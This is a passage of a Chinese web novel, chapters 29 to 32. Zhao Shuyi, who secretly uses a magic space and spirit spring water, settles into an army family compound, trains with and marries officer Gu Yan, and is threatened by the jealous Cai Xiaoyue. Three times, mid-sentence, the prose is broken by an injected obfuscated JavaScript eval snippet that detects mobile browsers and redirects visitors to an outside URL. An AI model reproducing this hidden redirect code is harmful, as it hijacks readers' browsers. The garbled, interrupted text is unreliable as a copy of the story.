顾岩想起之前在沪市洗床单剩下来的那块香皂,或许他回去可以用香皂洗衣裳。 赵书宜还不知道顾岩洗个澡都想了那么多,她坐在屋檐下抬眼就看到漫天的繁星。 她已经很多年没有看到这样的景象了。 明天应该又是一个艳阳天。 身后传来开门声,顾岩把桶拎了出来,明明都看不太清楚,赵书宜还是觉得他全身都湿漉漉的。 也不知道怎么洗的,会不会把地都弄湿了。 没等赵书宜说话,他就已经给出答案。 “暂时别进那屋,地上有点湿,可能滑。” “好,你别操心吧,赶紧回去休息吧。” 顾岩嗯了一声,进屋找小亮。 进了屋子,离床边越近,属于赵书宜那种味道越明显。 顾岩一时间有些后悔。 后悔自己提出把小屋改了。 两人要是睡在一起,自己真的可以心如止水吗? 可事已至此,只能走一步算一步了。 赵书宜听顾岩的,他出去从外面锁门,没跟着送出去,她自己念着自己的空间,也没注意到顾岩的些许异常。 顾岩一走,她就进屋回了自己的空间。 空间里的稻子已经开始抽穗了,真的很快,快到她觉得空间就是她的一个梦。 但看到旁边种的蔬菜也眼见着要成熟,赵书宜就知道这不是梦,是真实的。 她的栅栏已经编好,小鸡和小兔子都有自己的窝。 大家都有美好的未来。 那就是被她炫进嘴里。 在空间里浪了一通,什么也没干,赵书宜喝下一杯灵泉水,出空间睡觉了。 明天顾岩还得来找她出去锻炼呢,得养足精神。 虽然空间似乎能让她精神,但是她好像已经有了那种对睡眠的依赖感。 不躺不舒服。 先躺为敬。 这一躺就躺到了日上三竿。 赵书宜看到窗外明亮的阳光,有点怀疑自己昨天是不是又做了什么梦。 一看时间上午九点。 桌上照例摆着早饭,昨天乱糟糟的院子已经被收拾齐整,除了墙角的那一堆砖。 很快她知道了答案。 院门锁被打开,顾岩抱着小亮从外面走了进来,他手上还拎着一只母鸡。 “你醒了,我已经买好菜了,看你睡得太香就没喊你。” 想到自己早上来时看到的场景,顾岩撇开了眼去。 赵书宜还有点迷糊,“那我不是又没锻炼,还有隔壁……” 垂死病中惊坐起! “夏连长他们吃饭了吗?” 赵书宜表情紧张,站在那里像是个做错事的孩子。 见状顾岩嘴角弯起一点弧度。 “你放心,我跟陶团长说了的,早饭不用做,你们的时间不太对得上,如果他有事他会提前说。” “哦。”虽然事情解决了,但她还是很不好意思,中午必须大展神通。 “你买了哪些菜?” 29. 是你自己要给我的 蔡家村。 蔡小月和一个身材瘦削的青年站在草垛子边。 “小月,你说的那事要不就算了吧,万一被发现了,对你不好,现在的日子不是挺好的吗?” “我可以……” “你不可以!”蔡小月抬手指着他,“你可以什么?你可以让我当军官太太吗?” 青年垂眸抿了抿唇,有些不服输,“我会努力的。” “呵,你一个炊事班的,你要怎么努力?” 她说着露出嘲讽的笑容,“说了要帮我,你该不会是反悔了吧?” “我没有,但是她这两天都没出过门,我想接近她也接近不了。” 蔡小月咬牙,“你不用管,等她出门你来通知就是了,我就不信她永远不出家属院,你帮我盯好了,说不定就是你没注意。” “不可能,我有空就看着的,她肯定没出门。” “知道了,有消息再来找我。” “小月。” “又干嘛?”蔡小月很不耐烦。 其实对方在村里也算条件好的了,但见过那么多的军官后她又怎么能看得上他这么个大头兵。 她一定要嫁给顾岩,哪怕是设计他! 蔡小月心里有了一个新的计划,但她希望不要走到那一步。 “我这个月发工资了,这十块钱你拿着买点好吃的。” 看到钱,蔡小月表情柔和了许多。 “是你自己要给我的啊,我可没问你要。” “是,我知道,我主动给你的。” 蔡小月这才满意了。 - 另一边,家属院。 顾岩吃过午饭准备去领工资,“你带着小亮休息一会儿,我大概四点带人来铺地,晚上麻烦给大家做点饭。” 大概是因为见识到了赵书宜的做饭手艺,顾岩今天买的菜更多了,做个两桌完全没问题。 “行,等你回来我再看做多少饭。” 顾岩出门去了。 赵书宜带着孩子睡午觉。 反正吃过饭正是睡觉的好时间,顾岩都给她安排好了,不睡那岂不是不识好歹。 她绝不是那样的人。 睡。 想到对方专门提醒关门,赵书宜把门窗都关好了,这才安心睡下。 心里想着有人来,睡了大概半小时她就醒了。 小亮还在她悄摸起来泡了点茶晾着,又把屋子各处收拾了一下。 她是最喜欢家里窗明几净的了。 住了两天她似乎也已经习惯了这里是她的家。 赵书宜决定等卫生间弄好,她好好地再把家里布置一下。 虽然不能弄什么华丽的摆件什么的,但简单的野花也是可以的吧。 正想着,顾岩回来了。 看到她他愣了一下,“你怎么没睡?” 顾岩手里拿着一个布袋子,里面像是装了不少的东西。 赵书宜说:“我睡了,昨晚睡得早,今早又起得晚,睡不着了。” 顾岩没多问,他走到赵书宜跟前把手里的东西递给了她。 “这是给你的。” “什么?” 赵书宜解开布袋子打开一看,瞪大了眼睛。 布袋子里是许多香皂、肥皂、雪花膏、蛤蜊油,还有其他的赵书宜没用过的这年头的擦脸擦身体的东西。 这东西一般男人不会用,真是给她的。 “怎么这么多?”赵书宜有些惊喜又很好奇。 “我想着你平常可能需要用这些,听说是能让皮肤……更好一点。” 他想说的是赵书宜看着就皮肤娇嫩,肯定得要养护一下。 男人堆里平常也会说各种八卦,其中不乏一些谈到女人的话题。 听说女人都喜欢往身上抹一些雪花膏之类的东西,不仅滋润皮肤,还能让身上都跟着香香的。 他想赵书宜或许也会喜欢,好好养着应该就没那么容易起红疹子了。 赵书宜心里生出点莫名的感觉。 “全是你刚去买的吗?也太多了。” 顾岩觉得不多啊,那么小一罐,那不是几天就没了,所以他还特意让人帮忙去文工团找人换的。 他随意道:“找人换了些,你慢慢用。” 赵书宜笑着冲他说了句谢谢,“我很喜欢。” 这年头也没有什么好的化妆品,也就这些了。 所以其实还是送到了赵书宜心坎上。 对方是个会花心思的人。 经过这两天得相处,她大概也摸清了顾岩的想法。 他似乎觉得自己嫁给她是吃了亏的,所以只要有好的,他都想给她。 这真是个误会。 嫁人是她自己选的,他怎么也不该有歉疚感。 赵书宜觉得自己似乎应该跟她说清楚,但不是现在。 “谢谢,我很喜欢。” 赵书宜有些不好意思地把东西拿回了屋。 两人之间的气氛立刻变得微妙起来。 不过这样有些微妙的感觉也没有持续太久,两人商量了一下小屋子的布局,来帮忙的人就来了。 乌泱泱来了五六个人,一行人看到赵书宜都有些惊讶。 虽然大家这两天都已经听说了顾营长的媳妇是个美人,但真正见到还是让众人眼前一亮。 这五官精致,肤如凝脂的,听说是个娇小姐,真受得了他们这小地方的生活吗? “嫂子好。” 赵书宜被叫嫂子心里其实挺尴尬,但也没太表现出来,大大方方地照顾他们,先给他们都上了茶,让几人都先歇歇。 几人可不敢在营长面前这么随意,都说先干活,然后事情就交给顾岩了。 赵书宜要的效果并不是特别复杂,顾岩跟大家一说大家就都明白了。 不管是砌墙还是铺地都是很简单的,唯一困难一点的就是挖个茅坑,但凡他们不是在这角落的位置部队和家属院其他的人都不一定会同意。 现在倒是简单,就是些体力活而已。 众人很快开始忙碌起来。 赵书宜自觉去厨房忙碌,可不能让来干活的人饿了肚子。 结果她刚开始煮饭,家里又来人了。 原来是来打水井的。 家属院一共有两口水井,其实最近的水井距离他们院子也不远,但是她这小身板去挑水还是有些问题的。 能打个水井自然好。 能让她把水井里的水加入灵泉更好。 赵书宜琢磨着,做饭时可算是使出了自己的全身解数。 不过她今天没敢用太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668199|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灵泉水,她只是添了一点点,希望部队的战士们能身体更好点,但却不能让他们对她产生怀疑。 中午赵书宜做的是癞瓜烧肉和一个韭菜鸡蛋,还有个骨头冬瓜汤。 还没到吃饭时间,几人就已经闻到了味道。 “顾营长,嫂子做的饭也太香了!” “是啊,嫂子这是哪里的厨艺,我已经好久没闻到这么香的饭菜味了。” “以后怕是在食堂见不到顾营长了。” 顾岩被夸得嘴角扬起一个好看的弧度。 “我丈母娘做饭就很好吃,赶紧干活吧,一会儿大家都多吃点。” 他媳妇大方,大家肯定都能吃得饱饱的。 原本赵书宜也是这样以为的,结果这群人就跟八百年没吃过饭似的,菜一上桌就没人再说话,筷子已经舞出残影。 赵书宜都看呆了,有那么夸张吗? 但毋庸置疑,自己做出来的饭菜被人肯定还是很让人愉悦的。 看大家吃得太夸张,赵书宜也没问,进厨房又煮了一大盆面端了出来,这倒叫几人一下不好意思了。 尤其是看到面盆里那么多的煎蛋,一个个才意识到刚才吃得太夸张了。 “嫂子,吓到你了,我们平常也没这么夸张,主要是嫂子你做的饭菜太好吃了!” 最后还是何旭开口夸了一句,然后不由分说开始夹面。 “你小子,给我们留点。” 院子里热热闹闹了三天才终于把赵书宜想要的卫生间和房间隔了开来。 几个来帮忙的走时都得了赵书宜做的一罐酱菜。 他们都是住在宿舍的,除了何旭都还没有从军资格的,平时吃饭也都是在食堂,这些菜正适合他们下饭。 几人都很感谢,走前还帮家里里里外外都打理了一遍这才离开。 “你的战友们都很热情啊。”赵书宜已经有点习惯了这里的生活,觉得跟这些人相处得也不错,不禁对自己的未来也充满了希望。 “他们是这样,你不嫌他们大大咧咧就好。” “怎么会,都是保家卫国的军人,都很好。” 两人正说着话,又来客了。 来人是一个四十来岁打扮干练身着军装的女人。 “书宜,这位是家属院的妇女主任,黄梅同志,黄主任,这是赵书宜。” 黄梅生着一张有福气的圆脸,笑起来极为和蔼,顾岩一介绍,她连忙跟赵书宜握手,“书宜妹子,家属院的人都叫我黄姐。” “黄姐好,快进来坐,黄姐喜欢和糖水还是喝茶。” “不用麻烦,我就是来找你聊聊天认认门。”对方客气。 赵书宜笑道:“那就糖水吧,咱们女人家,多喝点红糖水好。” 顾岩忙道:“你陪黄主任聊,我去帮你们倒水。” 这次黄梅倒也没拒绝,看着顾岩背影笑道:“顾岩真是个不错,你们这好日子还在后头呢。” 赵书宜故作娇羞,也就是真的有点害羞。 所幸黄梅也不是来打趣人的,很快说起了正事。 “书宜妹子,我听说你是主动想要去照顾隔壁夏连长的,能跟我说说你的想法吗?” 赵书宜猜到她是有事找自己,倒是没想到是这事,该不会是责怪自己抢了他们勤务兵的工作吧? 30. “我陪你。” 赵书宜按照自己先前的说辞又简单地跟黄梅说了一遍。 “我从前跟我奶奶学过一些简单的医学知识,而且我还会做药膳,以前照顾老人的时候还学过一些按摩针灸,也不是说能治好夏连长吧,但是希望夏连长的身子能好点。” 按摩针灸她也是真的会,但其实技术不是特别好。 上辈子她是学医的,因为自己上大学的时候家里人三天两头就来找她要钱,让她花了许多时间在兼职之类的事情上,学业反而没跟上。 好在她实践不行,理论还可以,到时候用灵泉水治了人,她吹牛应该没什么问题。 这是之前没跟顾岩说过的,她知道这年头不管是中医西医都有被抨击的风险,本来不打算提的,但没想到上面对她要去照顾夏连长的事情那么重视,她总得拿出点本事来。 赵书宜觉得可以利用一下。 到时候自己再用灵泉水,如果有了稍微夸张的效果,都可以用这个理由。 “原来是这样,那倒是合适多了。” 赵书宜还是有点疑惑。 “黄姐,是哪里有问题吗,您有话可以直说,我看看能不能做得更好一点。” 黄梅看着她满意地点了点头。 “我一看书宜妹子你就是个讲道理的,说出来也不怕你笑话,你也知道夏连长是英雄,我们前前后后找了许多人去照顾她,但她都拒绝了,我知道这其中最大的责任也不在夏连长。” 赵书宜点头,这个她明白,照顾一个没有自理能力的人很难,尤其是这个人脾气还很不好。 “我们给的报酬还不错,其实很多人想揽这个活,但是当初夏连长赶走许多人后面我们本来也没打算再找家属院的人了。” 赵书宜好像有点明白她的意思了。 这是大家都盯着的蛋糕,她如果轻易地摘取了,旁人只怕会眼红。 尤其陶团长明显还是个很大方的人,估计他之前给的伙食费也不低,给的东西越多,有想法的人也就越多。 “那黄姐的意思是?” “要不你去考个医师证吧,能考吗,有基础应该就能考,正好下个月初就有考试。” 赵书宜点头,“行啊。” 她别的不行,背书从前可是下了力的,这年头的人不一定能考得过她。 “如果不行的话就让王军医先带你两天……你可以考吗?” 赵书宜给出肯定的答案,“可以,我看过很多医书。” “好好,如果有证,我们可以给你十五块钱一个月的工资,你可以和夏连长家协调时间怎么安排。” 没想到她这边也能给十五这么高。 是和陶团长那边加起来三十,还是这是单独的十五啊。 总有种接了大活的感觉。 许多思绪被赵书宜压下,她很认真道:“黄姐你放心,我肯定会好好照顾夏连长的,夏连长可喜欢我做的饭了。” 赵书宜觉得自己的厨艺应该是藏不了的,她自己宣扬宣扬也没关系。 果然,黄梅更满意了。 “我听陶团长说了,没想到你小小年纪,会得还真不少,对了,你和小顾的结婚报告马上就批下来了,你们别急啊。” 赵书宜愣了一下,这话题转的。 她没急啊。 但,还真不好解释,她只能尴尬而羞怯地笑笑。 黄梅来得匆匆,走得也匆匆,忙着去安排其他事情,能看得出来她心情还是很不错的。 等她走了顾岩才走到近前来,“明天应该就能拿到结婚报告了,我们明天去领结婚证吧。” 莫名的,赵书宜觉得脸有些热,但这时候肯定不是犯怂的时候。 她点头想了好一会儿才想到一个可以转移的话题。 “那我们要请你相熟的人吃顿饭吗?” 他们请何旭几人吃饭,只是因为对方来帮忙干了活,但结婚和搬新家还是得请他的朋友一起吃顿饭的吧。 顾岩想了一下,“可以,等两天吧,最近你也累了,休息两天。” 赵书宜虽然没感觉很累,但他这么安排肯定有他的理由,赵书宜决定听他的。 “好吧,都听你的。” 本来两人结婚已经是板上钉钉的事情,可这一晚赵书宜居然失眠了躺在床上许久都没有入睡。 想到之后这张床上可能要睡另一个男人她就有点说不出来的滋味。 以后晚上岂不是不能随意进入空间了? 事已至此,今晚进空间劳作一番吧。 水稻已经成熟,赵书宜全部割了又重新种下,然后用十分古老的办法打了谷子。 想到还要晾干还要脱粒赵书宜就觉得莫名好笑。 自己好像越活越回去了。 但她干得还挺起劲。 她觉得空间出品肯定不一样,再加上付出了自己辛勤的劳动,这稻米肯定更香。 在空间里忙了几个小时,那点莫名出现的紧张终于被赵书宜给压了下去。 翌日,赵书宜醒得很早。 天刚亮她就醒了,结果没想到顾岩已经过来了,还搬过来了他的行李。 “怎么这么早,我们要这么早出门吗?” 昨天没说啊。 顾岩没说他根本就是差不多一晚上没睡。 他都不知道有什么可紧张的。 从小他就知道自己有个长大了要结婚的未婚妻,他不明白结婚意味着什么。 直到在沪市遇见赵书宜之前他一直觉得结婚就是男女凑合在一起过日子,然后各自负起自己的责任。 什么感情,面都没见过几次的两个人能有什么感情? 而且他从小对于情感都比较淡漠,他不觉得自己会对一个女人有什么感情,他只有责任。 可如果真的是这样他为什么会在赵书宜靠近他时全身紧绷,为什么会在和她结婚的前夕彻夜难眠? 他在担心什么,还是……在期待什么? “我就是醒了就过来,你……你要练身手吗?” 赵书宜:“……” 好好好,给她来这招是吧? 她哭笑不得,谁家好人领证的日子早起学防身术的啊。 但好像也不是不行。 “练!等我换身衣服。” 很快赵书宜穿了一身比较容易活动的衣服出来。 “我能练得力气很大吗,比如扛起一根大木头。” 赵书宜还是没有放弃自己的建屋大业。 顾岩自是不知道她心中想法,感觉疑惑,但还是认真地回答了她的问题。 “认真练的话肌肉得到锻炼力气是可以变大的,但至于能不能扛起一根大木头还得看你自身的潜力和锻炼的效果。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673246|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “效果越好,你付出的努力肯定就得越多。” 听他这么说赵书宜放心了。 她是学过医的,自然知道肌肉的锻炼能够带来的变化,但她害怕顾岩不知道。 现在看来是她想多了。 之所以有这样的顾虑还是因为赵书宜发现自己最近的力气好像变大了。 她觉得肯定不是肌肉得到锻炼的效果,而是灵泉水的效果。 但她肯定要给自己的改变一个不那么离谱的理由。 “我可以,你尽管训练我!” 顾岩挑了挑眉,“好,如果你想练力气就从扎马步开始吧,先扎半个小时马步,然后我教你两招。” 听到半个小时马步,赵书宜的腿已经软了。 “能不能先教我两招我再扎马步,我怕一会儿腿抖。” 顾岩实在没忍住,低低笑了两声,“行。我就教你最简单的两招,一招是假如有人在背后偷袭你。” 顾岩一手搭在她单薄的肩膀上,感觉自己的手掌轻轻一捏就能把她的骨头捏碎。 然而从赵书宜的角度她只觉得顾岩的动作好轻好轻。 滚烫的手掌搭在她的肩头,让她感觉又烫又痒,怪怪的。 “嗯,偷袭我,然后呢?” 顾岩吞咽了一下,继续讲解。 “然后你双手捏住他的手腕,捏住……” 赵书宜跟着他的姿势双手从侧边抓住他的手腕,硬邦邦的,而且男人的胳膊可真粗啊。 她觉得自己碰上他这样的敌人估计只有被任人宰割的份。 “然后你抓住我的手,抓紧扭身往旁边避开我的另一只手,顺便将我这只胳膊扭到后面去,一般来说这里你就能制服对方,假如你们实力相当的话,但如果对方实力很强,你一定要小心他脱手或者脚下偷袭……” 顾岩讲得很仔细,赵书宜也学得认真。 两人很快抛开了一些莫名的情绪认真起来,没一会儿就掌握了动作要领。 但问题就是她太软了,如果对方是个像顾岩这样的男人,她肯定怎么都奈何不了对方。 顾岩叹道:“如果你真的遇到了坏人首先是要保证自己的安全,在确保自己安全的情况下再想办法求救。” “我知道了。” 不比划不知道,一比划赵书宜也意识到自己是真的弱,更加坚定了她要自己好好练练的决心。 然后她开始扎马步。 顾岩见她认真,也好好地帮她纠正了姿势。 “就这样,保持半小时,如果坚持不了也没关系,我们可以慢慢来,循序渐进。” “我可以。”赵书宜坚定道。 “好,你要是做到了我一会儿给你买一身新衣服。” 赵书宜看了他一眼,被他这哄小孩子的语气逗笑了。 “你对你手底下的兵也这么大方吗?” 顾岩心说他们想得美。 但他却没这么说。 “你很努力,总不能让你的努力看不到回报。” 他想说的是这条路真的不好走,得是积年累月的积累。 他看得出来赵书宜是真的想学,所以他也想好好鼓励她。 见赵书宜似乎有些发颤,顾岩蹲在了她的旁边偏前一点的位置,让她可以抬眼就看到自己。 “我陪你。” 31. 今天是他们领证的日子 有了榜样在前,赵书宜真就蹲了半个小时的马步。 等结束的时候她走路都在打颤。 顾岩忙上前扶住她,“没事吧,我给你捏一下。” 赵书宜坐在椅子上感觉整个人都不好了。 想放弃。 但想到刚才蹲马步时看到的他的一动不动的身影她又不想放弃了。 心里生起一丝莫名的感动。 赵书宜也不明白这是对于强者的敬佩还是对于自己身体受累的委屈,就是眼睛有点发酸。 顾岩一直关注着她,自然发现了她的异常。 “怎么,很难受吗?” 他也是从蹲马步过来的,自然知道有多不容易,但还是被赵书宜可怜巴巴的样子惊到了。 他很想劝她如果不想学就算了。 但她自己都没有放弃,他如何能劝她放弃? “也没……” 赵书宜刚开口,粗粝的手指贴在了她的眼角酥酥麻麻的,一时间,赵书宜忘了委屈,心跳快了起来。 她永远也不会知道她现在的这副样子有多惹人怜爱。 顾岩本是想帮她擦泪的,结果手掌不由自主地捧住了她的脸。 两人逐渐靠近,就在两人的呼吸开始交缠时,一个糯呼呼的声音突然响起来。 “顾叔叔,我想尿尿。” 两人瞬间弹开,顾岩起身太猛差点一个趔趄。 “走吧,叔叔带你去。” 蔡明亮牵着顾岩的手,看看顾岩,又看了看坐在小马扎上捶腿的婶婶。 他路过赵书宜身边时突然停了下来。 “婶婶,你眼睛痛痛吗?” 赵书宜脸烫得不行,奇怪问:“没有啊,怎么了?” “不痛叔叔为什么要给婶婶呼呼呢?” 赵书宜想找个地缝钻进去。 这让她怎么答呀? 还好这时顾岩出口解救了她。 “小亮我们先去厕所好不好,叔叔有点急,再不去就要尿裤子里了。” 赵书宜憋笑。 亏他说得出口。 她抬眼和对方带笑的眼眸对上,又连忙偏开头去,脸更热了。 一大一小很快走出院子,赵书宜这才感觉松了口气。 暧昧,太暧昧了。 明明马上就是夫妻了,还这么不熟,真是尴尬。 赵书宜搓搓脸从小凳子上站起来,那个酸爽。 她悔极了。 一会儿还要出门。 早知道她就不应该今天开始锻炼的,以后不是有的是机会吗? 但是她希望自己可以坚持下去。 想了想她趁着两人都不在,她回屋进了空间。 灵泉水既然有修复伤口的作用,那是不是也有修复肌肉的作用呢。 如果真的有的话,或许也能帮隔壁的夏连长,至少能阻止对方肌肉萎缩。 “试试。” 赵书宜直接拿了桶舀了灵泉水在里面泡了泡,没一会儿她明显感觉自己腿上的酸软好多了。 没想到真有用,赵书宜很高兴。 灵泉水真是个宝贝! 顾岩带着孩子回来看到刚才还蔫蔫的赵书宜重新恢复了活力,他很惊讶。 “你好些了吗,腿。”他都快语无伦次了。 赵书宜嗯了一声,鬼使神差地回答道:“你给我按了按我觉得好多了。” 原本刚才的事儿都已经过去了,她一说,两人不约而同又想起刚才的尴尬,耳朵一起红了。 但两人都没看向对方,都没注意到对方的情况。 “我去做早饭吧,你想吃什么,面还是饼?” “你要是累了的话我也可以做的,你休息休息。”顾岩不是说说而已,挽起袖子就往厨房里走。 赵书宜想想自己或许也能尝尝他的手艺便答应下来,“行,那我帮你烧火。” “别,你坐着就行,别一会儿又过敏了。” “我哪有那么脆弱,我可以的,我之后还想上山呢。”赵书宜坚持,“我觉得我就是身体弱了一点,等我锻炼起来,什么都可以干。” 顾岩是个很会尊重人的人,赵书宜非要烧火他便也就由着她去了。 王军医说了她的过敏不严重,再看看也行。 两人商量后顾岩决定摊煎饼。 赵书宜盯着顾岩,害怕顾岩是逞强,结果看着人家揉面什么的手法同样娴熟,赵书宜是真的惊讶了。 “你是真会下厨。” 顾岩乐了一下,“你以为我胡说的?” “那倒没有。” 她就是没想到他的手法看起来那么内行。 “我之前做任务的时候有次是在一个国营饭店,所以学了一些,但味道没你做得好。” 赵书宜心说给你安排上灵泉水肯定味道也很好。 水缸里的水是添了灵泉水的,就看一会儿的效果了。 赵书宜想吃甜的,顾岩就揉了点白糖进去,很普通的搭配。 煎饼时他只是轻轻在锅上刷了一层油。 正好是赵书宜喜欢的。 太油腻的东西她实在不怎么喜欢。 很快锅里飘出面饼独有的香味,明明是很普通的饼,那香味却馋得人流口水。 新鲜出锅一个饼,顾岩说:“先凉一下。” 然后他又继续煎第二个饼。 等第二个饼快起锅时,他把第一个饼分成两份递给了灶前一大一小眼巴巴两个人。 “尝尝味道如何。” 赵书宜先接过感受了一下温度。 “还有点烫。”她嘱咐小亮,“小口小口吃别烫着。” 小家伙吞咽了一下才点头,然后接过饼小口小口吃起来。 第一口咬进嘴里赵书宜就意识到了这个饼的含金量。 “好吃。”她这辈子没这么真诚过。 她都要怀疑只要是个人有了灵泉水都能做出美食了。 “你一直这么厉害吗?” 顾岩眼底盛着笑意,“也没有,我也就是做面食好点,炒菜很一般,但我可以学,以后我在家你可以休息。” 顾岩本来是担心赵书宜可能会不满意自己的厨艺。 但赵书宜脸上并不会太藏情绪,能看得出来她是真的觉得好吃。 那他也可以做饭。 “那我可就等着享福了。”赵书宜笑得很甜。 她是真的觉得很惊喜。 虽然她喜欢做饭,但有人能和自己分担做饭的活那种感觉也是不一样的。 未来的日子似乎更有盼头了。 做好饼给隔壁送了几个过去,两人吃完饭收拾收拾把孩子暂时放在了夏木兰家出了门。 顾岩应该是真想让隔壁收养小亮。 赵书宜也乐得配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678876|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合。 尤其是夏木兰似乎挺喜欢小亮,小亮也不抵触夏连长,这样的安排应该还不错。 今天是他们领证的日子,两人都没有忘记,心里一直想着这事呢。 虽然没提要照相的事情,但是赵书宜还是穿了一件白衬衫。 这年头照相片都是黑白相片,穿白色应该能更衬气色一点。 果然,顾岩真就是个心细的,刚走出门他就问:“晚点要不要照两张照片,到时候可以给我爷爷寄一张过去,你爸妈那边我也可以试着让我爷爷帮忙递过去。” 赵书宜很惊喜,“爷爷可以联系到我爸妈吗,那我能给他们写信吗?” 顾岩有些为难,“这个我不确定,寄信的话肯定是会被严格审查的,照片比较方便,但也只是尝试不确定一定能送到。” 听他这么说赵书宜都有点好奇爸妈到底是到了什么样的地方了。 她压下心中思绪,说:“那就不写信吧,我其实也没有太多想说的,只要确定我爸妈安全就行。” “这点你放心,爷爷在这方面还是能够保证的。” “真的吗,爷爷能看到他们吗?” 赵书宜也不是不信任他,可是原书里赵家那么惨,顾家如果真的那么有本事为什么没能帮得上忙呢? 还是说他们没帮? 这些问题赵书宜注定得不到答案,她只能祈求这辈子爸妈能够活得好好的。 顾岩注意到她的神情似乎有些悲伤,只当她是想念自己的父母,抿了抿唇。 “你放心,我不会拿这个说笑。” 听到他这么说,赵书宜莫名安心了些,她低声说了句谢谢。 顾岩想到她跋山涉水远离家乡来找自己,心里涌现一丝心疼,他抬手轻轻揉了揉赵书宜的头。 “别担心。” 他的动作无比轻柔,像是赵书宜从前摸流浪猫时的感觉。 赵书宜莫名尴尬。 知道对方是在关心自己,她也不好推开对方,只能任他摸了摸,然后轻咳以掩饰自己的尴尬。 “怎么了,着凉了吗?” 赵书宜看了他一眼,男人比她高出一个头不止,穿着板正的军装显得愈发高大。 那硬朗的五官,锋利的眉眼,怎么看怎么像一个杀伐果断的战场将军。 简言之,挺糙汉的,但却有着与外表十分不符的心细。 真令人奇怪,也令人心跳微微加速。 “没什么事,就是嗓子有点干。” 顾岩吞咽了一下,也觉得莫名有点干。 “下次我早上煮点稀饭或者是打点豆浆。” 今天他们给小亮泡了麦乳精,自己干吃饼了。 赵书宜点头,“可以,其实豆浆熬稀饭也很好喝。” “明天我试试。” 两人说着已经到了顾岩办公的地方。 办公楼不远处就是部队这边的食堂。 顾岩让赵书宜在楼下等着,他自己快步上了楼。 赵书宜站在那里,时不时有军官士兵经过,都会忍不住看向她。 赵书宜知道自己这张脸长得好,她没少被打量,也没太在意,低头看自己的脚尖。 是以她也没注意到隔壁食堂那个小伙子看到她急匆匆换了炊事班的衣服骑着自行车离开了。 不过就算她看到也不会在意一个行迹匆匆的年轻小伙子就是了。 32. 你现在是有家室的人 这年头结婚很简单,两个人拿着资料到登记结婚的地方确认本人同意就可以领取两张竖着的奖状一样的结婚证了。 结婚证上写着男女双方的名字和年龄。 看着年龄那一栏相差八岁的年龄,顾岩有些沉默。 “那个,结婚证要不让我保存着吧。” 赵书宜也是第一次结婚,对这玩意儿还有点新奇,听到他的话一时半刻没反应过来。 等反应过来还是把结婚证递给了对方。 她本来是想着放在空间的,但既然他想拿就拿着吧。 总不至于能掉了。 “我们这就结婚了?” 她怎么觉得那么不真实呢? 但是真的就结婚了耶。 她自己本人和顾岩认识不过一周的时间。 也是体验过一回闪婚的人了。 “是,结婚了。”顾岩把结婚证仔细收好,看她时嘴角都有些压不下去。 赵书宜怎么能感觉不出来? 虽然对未来还是有些迷茫与彷徨,但既来之则安之。 “那以后请多指教了。” 赵书宜伸手,顾岩握了上来。 两人这一刻才真正达成共识,以后就是要一起过日子的人了。 然而,这样高兴的时刻,偏偏有人要来找不痛快。 “顾大哥!” 蔡小月这几日一直跟自己大哥一起等着赵书宜出门的消息。 今天好不容易得到消息说赵书宜好像出门了,他们两个急匆匆赶了过来。 结果她看到了什么? 这两个人居然拿了结婚证! 让她怎么办? “顾大哥!” 蔡小月喊着朝他们扑过来。 顾岩下意识把赵书宜护在身后,冷冰冰地望着对方。 这样维护的动作深深地刺痛了蔡小月的眼睛。 他这是什么意思? “顾大哥,你结婚了!” 顾岩声音冷沉,“是。” “你怎么能结婚呢,你答应过我哥要照顾我的。” 顾岩明显不太想和她说话,但还是保持着自己的礼貌。 “我是答应过,但不代表我要负责你的一切,如果你觉得我不守信用,就当我不守信用吧,我不是一个没有底线的人。” 这话就说得有点重了。 言外之意她是个没有底线的人。 顾岩却不管自己的话是不是伤人,他回头看向赵书宜时语气明显变得缓和。 “我们先走吧。” 赵书宜点头,离开时和蔡小月的视线对上,那眼神里逐渐膨胀的恨意令人心惊。 比第一次见时更骇人了。 赵书宜心中生起警惕,总感觉这事还没完。 “你小心着她点,她这个人睚眦必报,还有些善恶不分,我担心她做出什么不该做的事情来。” 顾岩提醒她。 赵书宜点头,“他们家的事情都解决了吗?” “我已经让大队长提醒过他们,但现在看来这对于他们来说根本不痛不痒,不过你放心我会尽早解决这件事情的,你不要担心,暂时别一个人出门。” 听到他这么说,赵书宜心里是安心的。 她也觉得蔡小月这个人的性子看起来有些怪异,像是精神有点不正常,这与家庭教育固然脱不开关系。 但人更多地还是看自己。 家庭条件是老天给的,怎么去活却是自己决定的。 赵书宜淋过雨,能理解她,却不能认同她。 “别想了,今天是个好日子,我带你去个地方。” 顾岩看起来是真的心情挺愉悦,整个人仿佛更有朝气了。 